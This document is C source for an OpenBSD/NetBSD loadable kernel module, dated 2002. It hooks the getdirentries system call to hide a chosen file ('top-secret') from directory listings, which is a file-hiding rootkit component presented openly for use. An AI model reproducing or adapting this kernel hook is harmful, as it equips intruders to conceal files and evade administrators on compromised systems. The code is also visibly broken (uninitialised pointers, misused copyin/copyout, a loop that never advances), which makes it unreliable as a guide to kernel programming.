OpenBSD and NetBSD LKM which hides files by patching getdirentries().
281adc79edc85e83c7b2c663fcc68dfbea7fdb717f4948665d758518e709e6bf
/* OpenBSD (should work also on NetBSD) LKM hiding file using getdirentries */
/* systemcall! */
/* 2002 by gr33k gr33k@frapes.org www.frapes.org www.gm.fh-koeln.de/~ai604 */
#define DONT_PERMIT
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/syscall.h>
#include <sys/mount.h>
#include <sys/conf.h>
#include <sys/syscallargs.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/file.h>
#include <sys/filedesc.h>
#include <sys/errno.h>
#include <sys/dirent.h>
#include <sys/proc.h>
#include <sys/syslog.h>
#include <sys/malloc.h>
int my_getdirentries __P((struct proc *, void *, register_t *));
MOD_MISC("HideFile");
static int
HideFile_load(struct lkm_table *lkmtp,int cmd)
{
if(cmd==LKM_E_LOAD)
{
sysent[SYS_getdirentries].sy_call=my_getdirentries;
}
return 0;
}
static int
HideFile_unload(struct lkm_table *lkmtp,int cmd)
{
if(cmd==LKM_E_UNLOAD)
{
sysent[SYS_getdirentries].sy_call=sys_getdirentries;
}
return 0;
}
HideFile(lkmtp,cmd,ver)
struct lkm_table *lkmtp;
int cmd;
int ver;
{
DISPATCH(lkmtp,cmd,ver,HideFile_load,HideFile_unload,lkm_nofunc);
}
int
my_getdirentries(p,v,retval)
struct proc *p;
void *v;
register_t *retval;
{
register struct sys_getdirentries_args *uap=v;
unsigned int tmp,n,t;
struct dirent *dirp2,*dirp3;
char hide[]="top-secret"; /* Edit filename */
getdirentries(p,uap);
tmp=p->p_dupfd;
if(tmp>0)
{
copyin(&(uap->buf),dirp2,tmp);
dirp3=dirp2;
t=tmp;
while(t>0)
{
n=dirp3->d_reclen;
t-=n;
if(strcmp((char*)&(dirp3->d_name), (char*)&hide)==0)
{
if(t!=0)
bcopy((char*)dirp3+n,(char*)dirp3,t);
}
tmp-=n;
}
if(dirp3->d_reclen==0)
t=0;
if(t!=0)
dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen);
}
p->p_dupfd=tmp;
copyout(dirp2,&(uap->buf),tmp);
return (0);
}